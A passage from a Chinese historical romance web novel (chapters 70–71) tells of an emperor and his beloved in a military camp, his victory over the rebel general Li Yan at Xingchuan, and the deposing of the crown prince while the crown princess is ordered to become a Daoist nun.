傅棠梨的手掌抵在他赤裸的胸膛上,他的心跳急促而有力,一下一下的鼓动,清晰地传递到她的手心。 他的目光是温柔的,如同那时春日,他站在庭院的门边,对着她微笑。 她突然有些不知所措,嗫嚅着道:”可是,我已经忘了,不止这个,从前的事情我统统都忘记了。” “所以,我并不是生气,我只是有点害怕。”这个强悍的男人,他君临天下,执掌万军,他刚从战场上归来,带着淋漓的血腥和煞气,但是他说“我有点害怕”。 傅棠梨的手顿了一下。 “在永寿的时候,我曾经动过念头,若是你永远记不起来就好,但是现在,我却在害怕、害怕你记不起来,因为你欠过我很多债,也为我付过很多钱款。”他的语气多少带着一点咬牙切齿的意味,“若记不起来,我就没法和你结算清楚了。” 他这么说着,反而令傅棠梨愈发茫然起来,她喃喃地问道:“那若是……若是我一直像现在这样,该怎么办呢?” 赵上钧贴了过来,慢慢地、在她的嘴唇上落下一个吻,血腥的味道还隐约漂浮在空气中,他的吻,被水洗过,带着白梅花的清气,以及山林深处乌木的苦香。 “嗯。”他的调子有点挑高了,那或许是一个诱惑的意味,把同样的问题重复了一遍,“该怎么办呢?” 他抚摸她,一路滑到小腿,而后慢慢地抬起来,架到木桶的边沿上。 她站立不稳,支着脚,有些狼狈,双手环绕过他的脖子,像蔓藤,依附在他身上,满面羞红,腮若桃花,嗫嚅道:“好端端的……大白天,你又做什么呢?” 第70章 第70章太子被废,太子妃出家…… “梨花,来,看我、看着我。”他咬着她的耳朵,这么对她说。 夏日的阳光,那么炙热、那么透亮,一切明晃晃的,无所遮挡,每一寸肌理、每一处蓬勃的生机,都显露得那么清晰。 虽然已经见过许多次,但傅棠梨还是会受到惊吓,瞧了一眼,情不自禁抖了一下,马上把眼睛紧紧地闭起来了:“你、你怎么能生得这么吓人呢?” “这样,不好吗?”他的气息火热。 傅棠梨根本来不及回答。 木桶剧烈地摇晃了一下,桶里的水高高地溅了起来,泼嗤一声,溅了满身。 他刚刚从沙场中下来,此时一身煞气未退,杀伐之意愈盛,他拥抱她,那么热切的拥抱,滚烫的肌肤贴住她的身体,一阵阵的热浪冲涌而来,挟持她,叫她身不由己,头晕目眩。 “脚、脚好酸……”傅棠梨娇气起来,很有些支撑不住,腿肚子隐隐抽筋,她微微地啜泣着,身子软了下来。 赵上钧低低地笑了一下,索性一把将她托了起来,轻而易举地捧在臂弯中,动作丝毫不停,反而愈发急促。 肩头的伤口迸裂开,血混合着水滴落,是一种浅粉的颜色,一点一点地染到傅棠梨的手臂上,乌木的香气中带着血腥的味道。 “不行,你的伤……在流血……”她心慌不已,挣扎起来。 滑溜溜,粉嫩嫩,在他手心里蹭来蹭去。 “我不脏,你别嫌弃。”他忍无可忍,喉咙都忍得生疼,低了头,一口堵住了她的嘴唇。 阳光如此明媚而灿烂,宛如赤金,稍远处,士兵们喧哗未止,刀剑铿锵的碰撞声偶尔传来,战马样昂首嘶鸣,而这里,水声四溅,呼吸沉重,连话都说不出来,只有激烈的吻。 …… 半晌方歇,而桶里的水已经空了大半。 这一番沐浴十分彻底,两个人从头到脚都洗过了。 傅棠梨背靠在赵上钧的胸膛上,双腿还搭在他手里,浑身上下湿漉漉的,艰难地抽着气,简直要哭:“你看看,这样子,怎么出去?怎么见人?你总这样,动不动就……不分场合,烦人得很,下回再也不许了!肯定不许了!” 赵上钧心满意足,不动声色,命人取来干净的衣裳,体贴地服侍傅棠梨换了一身,千哄万哄,哄她半天。 此时身在军营,危机未解,将士待命,傅棠梨也只能抱怨一下罢了,不敢和他多闹,不一会儿,收拾整齐,只是面上潮红久久不能退。 事毕,赵上钧走出棚子。 他并没有穿上衣裳,只是随意地在下身围了一件长袍,腰间打了个结系住,上身精赤,带着肩膀上狰狞的伤口,哪怕他此刻一尘不染,也不复再有那种山林间仙风道骨的气息,反而依旧充满了一种野性的、咄咄逼人的杀伐之意。 玄甲军中几员将领已经主帅幄帐外等候多时,见赵上钧过来,齐齐躬身:“陛下。” 傅棠梨扶着腰,想要避开。 但赵上钧又发话了:“二郎,进来,替我包扎伤口。” 傅棠梨腿脚还酸软着,暗骂他没完没了,但她此时是他的“贴身亲卫”,走脱不得,只能又跟了进去。 好在赵上钧只是那么一说,很快,庄敬叫来了军中的唐府医,为皇帝处置伤情,而傅棠梨要做的,不过是给唐府医打个下手而已。 唐府医虽则年纪大了,还是一副精明干练的模样,从药箱中取出银针、桑皮线、金创药等物,动作十分迅速,还能抽空和傅棠梨挤眉弄眼,顺便给了她一肘子,悄悄道:“嚯,叫你给我当徒弟,难怪你不愿意,原来寻到好出路了,混到圣上的贴身亲卫,不错,有出息。” 看样子是个熟人,可惜傅棠梨记不得了,实在有些愧疚,眼下见一群将军围着赵上钧,满脸皆是肃穆之色,又不好多说话,只含含糊糊地应了一声。 庄敬跪在案前,呈上一封信函:“陛下,适才接孙澄飞鸽传讯,已按陛下旨意,撤出范阳,退回潞州,但李颜多疑,带兵在潞州城下逡巡两日,并不攻城,反而抽身回转,依旧往长安去。” 赵上钧盘坐于地,翻开那信函,看了一眼,他姿态慵懒而随性,却因身形高硕大如山岳,依旧显得一种压迫性的威势来,看罢,他微微仰起头,叹了一声:“可惜了,张嵩的伏兵派不上用场,罢了,叫张嵩不用再守着,速速过来与我们汇合。” “是。” 唐府医将银针在烛火上燎烧过,穿上桑皮线,走到赵上钧身后,示意傅棠梨过来:“我要给陛下缝合伤口,你按着陛下,别让他动。” 傅棠梨凑上前来,看着那银针,心惊胆战的:“就用这个?把皮 □□起来?那不得疼死?” 赵上钧一伸手,在傅棠梨的头顶上揉了两下,顺势把她带过来:“莫啰嗦。” 没奈何,傅棠梨只得镇定下来,依着唐府医的吩咐,两只手一起用劲,按住了赵上钧。 唐府医动手,将针刺入赵上钧的肩膀,如同缝补衣裳一般,牵引着桑皮线在伤口旁的皮肉中穿行,渐渐把伤口拉拢起来。 傅棠梨的心都跟着抖了起来,她咬着牙,努力抓住赵上钧的胳膊,她能感觉到他的肌肉绷得紧紧的,每一次针穿进去的时候,都抽搐了一下,显然是在极力忍耐着,但他的神情没有丝毫波动,冷静而威严,腾出一只手,在案上展开了一张山河舆图,用手指敲了两下。 “我们现在位于永通,在这,向东,往长安,约八百里,需绕经潼关及函谷关两处,眼下均有李颜叛军把守,若战局如洛州,敌不能阻我,则一月可达。”他的手指修长,骨节分明,在舆图上移过去,又敲了一下,“向北,往河北道,则将在半道与李颜主力相遇。” 他抬眼看了看左右:“诸位,有何高见?” 庄敬斟酌了一下:“不若先回长安,此龙兴之地,可据而守之,陛下神武无双,李颜与王永敬之流,不过乌合之众,不足为患,当日先帝本不该弃长安而走,如今陛下即位,重回京都,实乃天下民心所向。” 王宪不乐意,大大咧咧地道:“庄将军护送陛下回长安去,我自请领兵十万,去河北道,与李颜干一场。”他越说越气,“干他的,老子堂堂怀化将军,居然从长安逃了出来,真是窝囊死了,老子不服!” 庄敬顺手给王宪的后脑勺来了一下狠的:“放肆,陛下面前,你是谁老子?” 王宪这才惊觉,急急躬身:“臣莽撞,臣失礼,求陛下恕罪。” 赵上钧并未在意,他反问王宪:“若命你战李颜,此去河北道,你说,沿途何处战场为宜?” 王宪和左右同袍互相对视了一下,面色渐渐凝重,不敢轻易回答。 庄敬斟酌着,道:“若调头往北,至平州燕山东段的祖山,两侧山地,中有深谷,与前之茂兰谷地相类,臣以为,可仿照茂兰之战,于此处伏击李贼。” 赵上钧勾了勾嘴角,哂然一笑:“洛州之战的消息传开,李颜已生戒心,祖山险要,谁人不知,李颜岂会轻易入彀,祖山虽捷径,却非必经之道,我若是李颜,定要绕开此处。” 唐府医将银针从肩胛处拉出,收尾,剪断。 赵上钧长长地吐出一口气,自始自终脸色没有变动过。 唐府医去收拾药箱,退了下去,示意傅棠梨给赵上钧敷药。 就在这时,外面有人报:“陛下,西宁伯世子韩子琛到,求见陛下。” 赵上钧淡淡地“哦”了一声:“子琛回来得倒快,传。” 很快,韩子琛进来了,他一袭戎装,风尘仆仆,一身血污之色,恭敬地下跪行礼:“臣见过陛下。” 赵上钧端坐不动,问:“如何?” 傅棠梨拿着金创药,小心翼翼地涂抹在赵上钧的伤口处,怕他疼,趁着旁人不注意,还偷偷地吹了吹。 赵上钧方才稳如泰山,这会儿却颤了一下,他眉目冷峻,另一只手垂到案几下面,握住了傅棠梨的脚踝,捏了一下。 怪痒的。 傅棠梨抽了一口气,急忙把脚缩了回来,轻轻踢了他一下,眼波流转,瞪他一眼,面上还得装作若无其事的,继续给他敷药。 韩子琛眼观鼻,鼻观心,当作什么都没看到,规规矩矩地回赵上钧的话:“臣幸不辱命,于武城原大败涿州军,郑从经授首,其属下率残部投诚,现暂关押于武城县,臣让太子留在当地主持大局,臣日夜兼程,赶来向陛下复命。” 赵上钧颔首:“子琛辛苦。” 傅棠梨为赵上钧敷好药,又用白纱绷带把伤处包扎起来,尾巴梢儿还打了个漂亮的蝴蝶结,转过头,看见韩子琛的身上有血,她手里还拿着金创药和白纱布,当下顺口,客气地问了一声:“大表兄受伤了吗?要不替你也包扎一下?” 赵上钧的目光倏然变得森冷,宛如淬了血的剑锋,直指韩子琛,他的脸上却微微地笑了一下:“子琛受伤了吗?” 韩子琛额头上的汗“刷”的就下来了,他往后踉跄了一步,赶紧摆手:“不、不,无甚要紧,多谢陛下关爱,无需劳烦二郎。” 赵上钧点了点头,他甚至是温和的:“子琛来得正好,朕有一诱敌之策,需你出马。” 那样的语气,听得韩子琛打了个激灵,他觉得有些不妙,硬着头皮道:“是,听凭陛下差遣。” 赵上钧的手指抬起,在舆图上划了半个圈,最后落在一处平坦之地:“这里。” “荥川。”庄敬脱口而出。 “不错,荥川。”赵上钧缓缓站了起来,他赤着上身,披散着长发,眼中血色未褪,立于幄帐之央、穹顶之下,越发显得身形伟岸,挟山岳凌人之势。 “胡蛮凶残,百姓苦乱军久矣,朕既上位,当立即肃清山河,不与其久做周旋。荥阳之畔,一马平川,地势自上向下,先占高地,驱重骑俯冲,可碾压对阵,事半功倍,李颜虽悍,朕无惧,当在此与之决胜负。” 众将抱拳,齐声应诺。 赵上钧重又将目光转到韩子琛身上:“西宁伯世子,去,率轻骑突袭范阳军,多多挑衅,务必激怒李颜,你才杀了郑从经,李颜恨你正甚,不会轻放,你往南逃,引李颜来,朕在荥川候你,彼方人马长途奔波,力已衰,可灭之。” 韩子琛怵然俯首:“臣,遵旨。” 傅棠梨终究有些担心,本想劝阻两句,但看了看赵上钧,欲言又止,眉头皱了起来。 赵上钧看在眼里,不动声色,复一笑,慢条斯理地道:“当然,子琛逃命的时候一定要快一些,若是迟了,被人追赶上,那又是另外一回事了。” 韩子琛叹气,苦笑:“是。” —————————— 这大约是夏季的最后一场雨了,下得格外大。 乌云浓如泼墨,涂满了天空,还在不断地压下来,似乎要压垮大地,雨水连成白幕,似天河奔涌,倾泻人间,覆盖了整个荥川平原,野草伏地,举目汪洋大地,水漫无尽处。 战马覆重甲,形若龙虎,赵上钧高坐马上,倒持长木仓,雨水冲刷着枪身,水气飞溅,宛如罩着一层寒雾,饕餮的盔甲流动着深邃的光,宛如凶兽蛰伏在雨中,咧开嘴,露出白森森的獠牙,他眉目硬朗,如同刀刻,凌驾千军万马之前,没有丝毫表情,冰冷地、倨傲地,注视着前方。 黑压压的玄甲军守卫在他身后,在这荥川平原的高处耐心地等待着,战马伫立在雨中,雨水湿透了鬃毛,它们偶尔发出一点喷鼻的动静,淹没在雨声中。 渐渐地,在下方,遥远的地平线处传来了异样的动静,雨幕被打散,好似无数白线飞起,大雨中,白色的巨鹰展翅飞来,破开云层,发出尖利的长鸣。 傅棠梨骑着桃花叱拔,跟在赵上钧的旁边,极目远眺:“……来了吗?” 赵上钧侧首,看了她一眼。 她依旧还是穿着那一身士卒的服侍,此刻,雨水已经把她脸上的土灰洗去了,清晰地露出了她的脸庞,其实,她最近有些瘦了、也有些黑了,但这对她的美貌并无丝毫损伤,望之依旧似桃之夭夭,灼灼其华。 这是他的小梨花,无论在哪里,都能与他并肩而行。 赵上钧表情刚毅如铁,但他的目光却变得柔软起来:“梨花,知道为什么我一定要带着你出征吗?” 雨声很大,把周遭的动静都遮掩住了,傅棠梨可以光明正大地在这千万人之前和他说话,并不担心被 人听见,她叹了一口气,低声埋怨:“还不是你坏心眼,一定要为难我,有什么办法呢?” 赵上钧的声音格外低沉:“因为前一次,你千里迢迢来战场上找我,那时候你说,无论如何,你要来见我,若我不幸殒身,你替我收尸……” “没有的事!”傅棠梨斩钉截铁地打断了他的话,“别说这个晦气话,回头我给你抄上七七四十九遍三官真经,求三官大帝为你赐福赦罪,解厄消灾,保你长命百岁!” “或者,若我无恙,你才能安心。”在这漫天的风雨中、在这战马催发的临兵阵列前,他望着她,目光温存,似春日之昭昭,“所以,我想啊,我的小梨花,如果我不在她身边,她必然寝不安席,食不甘味,终日烦忧,那该怎么办呢,我把她带上,叫她日日夜夜在我身边,看着我,这样就好了,对不对?” 她红着脸,咬了咬嘴唇,不说话,只是看着他,眼眸被雨水洗过,明亮而纯净。 大雨滂沱,苍茫的、旷野的平原一望无垠,千军万马从远处奔腾而来,杀气裹着乌云翻滚,尘烟混合在雨中,天空是灰色的。 “它们来了。”赵上钧的声音稳稳的,在喧嚣的大雨中显得温和又平静,“而你在这里,我绝对不会后退一步,你信我。” “好。”傅棠梨微笑起来,轻轻地应了一声。 旁的可以不信,这个大抵是真的。 渭州人马从远处奔来,轻甲轻骑,一味埋头逃命,毫无战意。 紧随其后的,是范阳节度使李颜的兵马,一眼望去,密密麻麻,如同黑色的、黏稠的潮水,从低处的地平线涌上来、漫过来,雨水溅起,在地面生出灰色的雾气,平原渐渐开始震动。 傅棠梨拨转马头,避开一边。 赵上钧收敛起目中的温情,刹那时,变得森然如修罗,他高踞马上,举起手中的玄铁长//枪,笔直地指向前方,枪尖闪过一道寒芒。 众军俯首。 他倏然一声沉喝:“杀!” “咚”的一声巨响,战鼓擂动,而恰于此刻,天际响起雷鸣,轰轰隆隆,滚动着,从遥远的云层压了下来。 十数万铁骑奔驰而出,马蹄踏破雨幕,铁甲与金戈的煞气冲上天空,撕开了乌云,如同暴风卷起巨浪,从高处奔涌而下,带着汹涌澎湃的威势,碾压过去。 “咚咚咚咚”,鼓声一下接着一下,越来越急促,鼓声、雷声、马蹄声、呐喊声,连成一片,震响天地,远山似有回应。 轰然巨响,两方人马狠狠地撞击在一起,雨水倏然变红,四下飞溅。 赵上钧的战马高高地跃起,如同天地间生成的一道闪电,直直地破开敌阵,长/|枪横扫,如惊虹、如怒龙,呼啸着,带起沉闷的雷鸣声,奔向敌首。 敌阵中为首一人大喝一声,驱马冲来,举起长刀,狠狠一劈,如同霹雳掠火。 “锵”的一声尖鸣,枪与刀撞击,在雨中激起一大片火星,飞溅而开。 “赵上钧!你终于来了!”那敌首褐发鹰目,面上疤痕横贯,戾气如锋刃,正是范阳节度使李颜。 枪尖与刀刃交错而过,战马嘶叫,赵上钧拨转马头,返身回马枪,锋芒如银龙,倏然长笑一声:“李颜,我送你的礼物,可还中意?” 李颜想起只有躯干的长子和只有头颅的次子,不由双目尽赤,厉声吼叫:“赵上钧,我今日定要取你项上人头,祭奠我儿!” 长刀舞动如风,疯狂砍杀过来。 “锵”的一下,二人兵刃再次撞击,跨下战马咴咴长鸣,泥水洒起,溅在人的脸上都生疼,双方各各退了一丈远。 李颜目露凶光,霍然长啸,范阳军得令,擂动了战鼓,兵马密密麻麻的,从四面八方朝这边蜂涌而至,集列成阵,如同左右两条巨蟒,阴森森地游动着,包抄过来。 玄甲军大部折于北庭,又被元延帝所分拆,纵然赵上钧仓促间重整旧部,如今也不过区区十万余,而范阳叛军联合各方人马,足有四十万,今日战场在荥川,一片平原,双方均无倚仗,唯有靠兵力一决生死。 这一战,范阳势在必胜。 李颜一念及此,心头火热,他大喝一声,率部属直逼过来,协从者洛州刺史王永敬,此时亦悄无声息地从右侧插入,如毒蛇一般,杀向赵上钧。 赵上钧面色不动如山,一人一枪,悍然迎战。 辽阔的荥川平原震动起来,越来越剧烈,天雷滚滚,一阵紧过一阵,在平原的东面地平线,天好似漏了一角,从那其中冒出了黑沉沉的人马,铁骑长戈,清一色的玄甲军装束,如同移动的山丘,轰然碾轧过来。 交战中的李颜面色变了。 赵上钧俯身探手,如同闪电一般,抽出了腰间横刀:“难道你想不到吗,我未曾重伤,玄甲军也未曾败落,李颜,这一切都是为了引你入彀,让我可以名正言顺地登上帝位。” 他霍然一刀断劈,以鬼魅般的速度斩断了李颜的一条手臂。 李颜发出沉闷的嗥叫,断臂斜斜飞上半空。 血水溅落,洒在赵上钧的脸上,他的眉目一片猩红,却咧开嘴,露出了雪白的牙:“而你,现在已经没用了。”他的刀指向李颜,刀尖犹在滴血,“所以,去死吧。” …… 元延八年,范阳节度使李颜反,旧天子出长安,崩于长陵坡,淮王赵上钧即位。 新帝率玄甲军与李颜决战于荥川。 先是时,西宁伯世子以身诱敌,敌追至荥川,已疲,玄甲军自高地而下,占尽先机。 而敌凶悍且狡诈,酣战至半,两侧骑兵包抄,兵力众于玄甲军,意图拢而歼之。 然帝骁悍,所向披靡,如入无人之境,玄甲军伏兵尽出,声势浩大,以雁行阵迎敌,碾轧敌军。 战火如荼,从午时至酉时,天色昏暗,雨水尽赤。帝斩李颜于马下,斫其头颅,悬于枪尖。敌已不支,见状了无战意,余者五六万,向西溃败而逃。 玄甲军紧追不放,半月后,至沂水,逢北庭大都护张嵩率兵接应,两下包抄,尽灭范阳残部。 由此,范阳军四十万灰飞烟灭,唯洛州刺史王永敬见势不妙,逃之夭夭,不知其踪。 是战,玄甲军亦损伤惨重,然中原平定,天下大安,帝神武之名益彰,此后数十年无兵祸,盛世自此而始。 —————————— 这日子说慢也慢、说快也快,转眼就到了立秋,所谓秋高气爽,风和日丽,长安的天空一碧如洗,望过去,和战乱之前并无差别。 皇城巍峨,依旧气象万千,朱檐翘角,碧瓦流光,九重宫阙层层复叠叠,鸱吻立于殿脊,昂首怒目,飞鸟不敢落于其顶。 风景旧曾谙,然则,物是人非了。傅棠梨把目光从远处的天空收了回来,心头多少有些感慨。 高宫正在前方引路,见傅棠梨有些走神,体贴地带了一句:“太子妃仔细台阶,紫宸殿到了。” 这话音刚落,却见宋太监领着赵元嘉和林婉卿从另一侧走来,这两人如今看过去皆是面色憔悴、一脸惶惶之态。 傅棠梨的脚步顿了一下。 赵元嘉一眼就瞧见了傅棠梨,面上浮出惊喜之色,疾步过来:“二娘、二娘,孤刚从武城县回来,可算又见到你了,也不知这段日子你过得如何,孤心中始终十分牵挂。” 他这么说着,伸出手去,就要去牵傅棠梨。 林婉卿的脸色又枯败了几分,毫无情绪地瞥了赵元嘉一眼,默默地把头扭开了,眼角落下一滴泪。 高宫正急急上前,挡在赵元嘉的面前,肃容道:“圣上已传唤多时,太子还不快进去。” 傅棠梨避开赵元嘉的目光,无声地退到他的身后去。 高宫正一提及赵上钧,赵元嘉的心就抖了一下,他不再敢出声,讪讪地,随着宋太监一道进入紫宸殿。 大殿两侧摆着巨大的紫金兽炉,麒麟仰首吐息,白色的薄烟如同山间散开的的云岚,迦南沉香的味道弥漫在金柱玉壁之间,清洌而悠长,当日林贵妃的头颅掉落在这里,血溅了满地,而今已经完全寻不到半点痕迹。 赵上钧高居明殿之上,眉目冷肃,他佩帝王通天冠,穿日月星辰十二章纹衮服,广袖垂于地,愈发显得身量伟岸、气度威严,令人不可逼视。 元延帝是个仁和温良的君王,又是赵元嘉的父亲,赵元嘉平日觉得父皇大抵偶尔有些严厉而已,但此际,天子龙座上换了一个人,赵元嘉这才惊觉,原来这才是帝王之威,如山岳压顶,重逾千钧,他心中悲痛且惶恐,根本不敢抬眼多看一下,膝盖一软,”噗通“跪倒在地,匍匐叩首:“臣……” “不须跪。”赵上钧语气如常,威严而淡漠,吩咐了这么一句。 傅棠梨和林 婉卿站在赵元嘉的身后,膝盖已经屈了一半,听见这话,傅棠梨若无其事地挺直了身体,垂着手,站到一边。林婉卿这膝盖却直不起来,半弯不弯的,抖得厉害。 而赵元嘉,他知道今天过来是听候发落的,此刻根本没有勇气起身,反而将脸伏在地上:“臣不敢。” 赵上钧没有在意,他淡淡地朝下面一颔首:“宣。” 皇帝身后的中书舍人上前,打开手中诏书,立于殿上,大声宣读。 “圣人立道,天地合德,日月其明。兹太子妃傅氏,敬慎持躬,孝德承训,堪为宗室表率。逢先帝山陵崩,万民同悲,傅氏缅怀追福,愿以报恩,求度玄门。雅志敦敦不忍拂,准其所请,度为女冠,赐号怀真,丕显道化。钦此。” 简而言之,圣旨命太子妃出家修道,为先元延帝祈福。则,从今往后,这世间再无太子妃傅氏,而只有女冠怀真了。 这道旨意宛如晴天一个霹雳当头打了下来,令赵元嘉呆滞当场,他瞪大了眼睛,仓皇顾盼左右,好似一时之间不能相信,竟做不出任何反应。 中书舍人镇定自若,又捧出一册诏书,继续宣读。 “皇太子赵元嘉,天资庸愚,禀质孱弱,罔知圣道,难承重器,今上承宗庙先祖,下应民生社稷,废其太子位,封幽王。布告天下,咸使闻知。” 相比前一份,这份诏书就简短了许多,其实赵上钧根本不需要任何理由,一朝天子尚且更换一朝臣,况太子乎。 赵元嘉虽然早已料到会有今日,但闻此诏书,还是浑身都颤抖了起来,跪在地上,牙齿“格格”作响,不知是怕的、还是恨的。 龙椅之上的天子岿然不动,连表情都没有动弹分毫。 中书舍人一口气捧起第三份诏书,这回念得连语气都有些潦草:“林氏有女,常侍幽王左右,夙兴夜寐,克勤于室,可册为幽王妃,尔其谨守妇道,允宜内职。特谕。” 心心念念、汲汲营营了这么久,如今终于成为赵元嘉的正妻,但林婉卿已经生不出半点喜悦之情,她挤出了一个比哭还难看的笑容,木然地跪下谢恩。 这三份诏书,一份接着一份,像是锋利的箭矢,接连射中赵元嘉的胸口,令他炸裂一般地疼痛,他双手撑在地上,手指屈了起来,抠住了地面,太过于用力,手背青筋毕露,指头磨破了皮,在地上抠出血痕。 他僵硬地抬起头来,望着赵上钧,喃喃地道:“我懂、我懂了……” 哪怕他再傻,事到如今,也终于恍然大悟。 原来先前林婉卿所说,竟然都是真的!他的太子妃和赵上钧早有私情,在他眼皮底下种种暗通款曲,他偏偏却不信,可笑,实在可笑极了。 什么修道祈福,什么册封幽王妃,骗人、都是骗人的!这是抢走一个,然后又塞回去一个,来掩人耳目吗? “皇叔、皇叔……”此时此刻,赵元嘉依旧如同旧时一般,这样唤着赵上钧,他面容扭曲,双目赤红,落下泪来,仿佛滴血,“小时候,你抢走我的父皇,我不怪你,后来,你又抢走我的皇位,我自己没用,无话可说,但是,我的二娘,她是我的,是父皇和母后为我聘娶的妻室,你为什么也要抢走?” 他说到后面,倏然站了起来,踏前一步,朝上面伸出手去,声嘶力竭地叫喊了出来:“为什么?你怎么能这样?怎么能!” 金吾卫立即上前,“锵”的一声,一左一右,将长戟架到赵元嘉的脖子上,厉声道:“幽王退,圣驾之前,不得无礼。” 赵上钧生性冷漠,在人前鲜少有喜怒形于色之时,但赵元嘉的这番话,无疑是触动了他的逆鳞,他深深地吸了一口气,揉了揉额头,声音沉沉的:“元嘉,不要试图挑衅朕。” 他的话很简短,甚至不愿意再多说一句,但那种被压制着、强烈的怒意是那么明显,如同呼啸而来的滔天巨浪,几乎要把赵元嘉碾压成齑粉。 殿上诸人莫不颤栗,皆俯首不敢视天子。 赵元嘉的身体控制不住地发抖,他那么愤怒,却没有勇气去面对赵上钧的怒火,他呆愣了一下,摇摇晃晃地转过身,缓缓地朝傅棠梨走去,脚步踉跄,声音嘶哑:“二娘、二娘,你怎么对得起我?母后走的时候把我交付给你,叫你不要辜负我,你答应下的,你怎么能……怎么能这样对我?” 傅棠梨也没有料想到赵上钧颁下这样的诏书,原来先前他所说的“我会把一切都处置妥当”指的就是这些,她有些茫然、也有些不安,当是时,见赵元嘉这般癫狂的模样,一时不好回应,只能沉默而已。 “傅二娘!”赵元嘉倏然一声怒吼,张开双臂,就要朝傅棠梨扑过去。 70-75 第71章 第71章万贯嫁妆,务必取回…… 宋太监眼疾手快,冲上前去,拦腰抱住了赵元嘉:“幽王,不可,万万不可啊!” 这要是让赵元嘉扑到了,岂不是死路一条,宋太监终究不忍。 赵上钧已经不耐,做了一个手势。 立即有金吾卫过去,按住了赵元嘉,捂着他的嘴,毫不客气地将他拖出了紫宸殿。林婉卿像个提线木偶一般,神情恍惚,飘飘荡荡地跟了出去。 傅棠梨朝赵上钧拜了一拜,低着头,保持着矜持的姿态,安静地退了出去。 赵上钧霍然起身,大步走出殿外。 左右皆垂目,若无睹状。 艳阳高照,高台明阁皆堂皇,耸立在日光下,熠熠生辉,令人目眩。 傅棠梨走得很快,但赵上钧比她更快,迈着大步,在紫宸殿门前,三两下就追上了她,从后面抓住了她的手臂:“梨花。” “小声些,别叫人听见。”傅棠梨鼻尖上冒出了汗珠,谨慎地看了看左右,使劲把手抽回来,“陛下既命我出家,我以后便是清修之人,陛下自重,莫要惹人非议。” 赵上钧一把拉过她,把她抱得紧紧的,一起躲到巨大的金柱后面,遮住身形,或许这只是掩耳盗铃罢了,也不知道能遮住什么,但他知道她那点别扭的小心思,也愿意耐着性子哄她:“你看我安排得多好,你出家修道,斩断世俗尘缘,和元嘉就没有分毫干系了,等过上些日子,什么旧太子、太子妃等等,大家都忘得差不多了,你还俗,届时我们成婚,完全顺理成章。” 一说到这些事情,傅棠梨就情不自禁地心虚起来,左顾右盼,唧唧咕咕,抱怨起来:“你怎么不事先和我商量一下?我原来是什么身份,谁不晓得,出家便出家了,也不算什么,但若是回头又还俗嫁于你,这、这、打量谁是傻子呢,大家伙儿回过神来,岂不是显得我有欲盖弥彰之嫌,凭白叫人看笑话吗?” “自然不能和你商量,若要商量,你矫情起来,又是两样不可,这不可和那不可,你看,就是眼下这情形。”赵上钧对她的小花招可太熟悉了,完全不容她继续啰嗦,果断地道,“我是天子,普天之下,皆须从我号令,听我的。” “我觉得不太妥当呢。”反正傅棠梨心里害臊得很,仗着赵上钧宠她,偏偏就是要这样那样地挑刺儿,手指捏着袖子,揉来揉去,扭扭捏捏,“你就性子急,其实还须得从长计议,你看太子、哦,不,幽王,他今日那模样,我有点担心呢,他性子冲动,若是一时想不开,生出什么事端来,岂不是叫人烦恼。” 无论什么时候,赵上钧望着傅棠梨的眼神总是温柔的,他甚至是微笑着对她道:“不太妥当吗?是,难得你和我想到一处去了,我应该马上杀了赵元嘉,我已经忍了很久,其实我一直很想把他的头切下来,捏碎了……” 傅棠梨吓了一跳,赶紧用手去捂他的嘴:“你莫胡说,这可不是我的意思,好端端的,你又吃什么飞醋,很 没道理。” 秋日的阳光明媚而灿烂,落在赵上钧的眼眸中,那是一种温暖的琥珀颜色,完全想象不出他杀伐冷酷的模样,尊贵的天子躲在大殿的金柱后面,和从前一样,偷偷的,和她咬耳朵:“好,我不吃醋,也不生气,你呢,就听从我的安排,好不好?梨花,你不知道,我已经等了多久……” 日光甚好,秋风清朗,仿佛所有的阴霾都已经消散,而他呢,就在身边。 傅棠梨突然觉得心跳得很快、也很热,她撒娇够了,也没什么别的话可说,把头蹭在他的肩膀上,低低地应了一声“嗯”。 —————————— 元真宫,后山院。 门洞如水月,石径幽曲,阶下苔痕宛然,庭中苍松积翠,两只白鹤徜徉于松下,时而扑翅,引颈长鸣,其声唳唳。 雅舍筑于其间,廊庑宽长,檐下悬了一串惊鸟铃,偶有风过,金玉清响。 俨然神仙境地。 给傅棠梨引路过来的两个小道士这一路上不停地拿眼角偷觑她,露出一副欲言又止的表情。 看样子又是两个老熟人。 傅棠梨视若无睹,只当作不知道,且她如今身穿道袍,玄冠绛褐,素裙长帔,容色端庄沉静,一副清净无尘之姿,瞧着比两个小道士还正统一些,唬得小道士也不好多说什么。 进了内室,只见一片素净,窗牖紧闭,窗下长案,古琴置其上,琴边小山炉,地榻上摆着两个蔺草坐席,除此外,再无其他摆设,颇有虚室生白之意。 小道士出去,临到门边,其中一个终于还是忍不住,回过头来,满脸慎重地交代道:“这是师兄的旧居处,如今借你暂住,你可得小心,务必保持净洁,一丁点灰尘都不能有,日常衣裳杂物不能置于显眼处,若熏香,只宜‘九和’、‘信灵’两味……” 这话越听越熟,好似和从前一般模样,从前……从前是如何呢?一些模糊的光影掠了过去,还来不及捉摸,就消散在脑海里了,傅棠梨突然觉得头疼,微微皱起了眉。 见她脸色不太好,另一个小道士马上把同伴的嘴巴捂住,拖着走了:“玄度就是啰嗦,别听他的,师姐自便,我们走了。” 所谓“师兄”,应是玄衍无疑。 傅棠梨心里一跳,面上依旧不动声色,微微颔首而已,待小道士的脚步声去远后,她这才放松下来,慢慢地打量四周。 这里恍惚有几分眼熟,像是从前来过似的,她踱到案边,摸了摸琴上的弦,轻轻拨了一下。 “铮”的一声,琴音袅袅。 头又疼起来了,最近时常这样,脑子里会闪过零星半点的片段,模模糊糊的,又分辨不真切,叫她茫然。 案上的小山炉里灰烬暗冷,但空气中似乎残留着他的味道,白梅花生于悬崖之上,寂静山林中,积雪浸透了乌木,那种香气苦涩而清幽。 傅棠梨叹了一口气,才要坐下,便听见外头那两只白鹤惊慌地鸣叫起来,紧接着,是它们“扑簌簌”地拍打翅膀,好像飞走了,而后,窗户那边有“叩叩叩”的声音,急促而有力,像是什么东西在敲打着棂角。 傅棠梨收敛心神,走过去,推开半扇窗。 一只巨大的鹰隼探进头来,傅棠梨认得,这是跟在赵上钧身边的那只海东青,但见它通身白羽,尖喙如勾,金睛如电,顾盼凶悍,爪子上抓着一只雉鸡,鲜血淋漓还在往下滴落。 嚯,小道士刚刚交代的,“一丁点灰尘都不能有”。 傅棠梨面无表情,和它对视……对视……持续对视…… 这海东青突然“呱”的一声大叫,兴奋地举起爪子,试图把雉鸡推进来,显然是在献殷勤。 一股子血腥味儿,脏得要命。 “砰”的一下,傅棠梨果断地又把窗牖关上了。 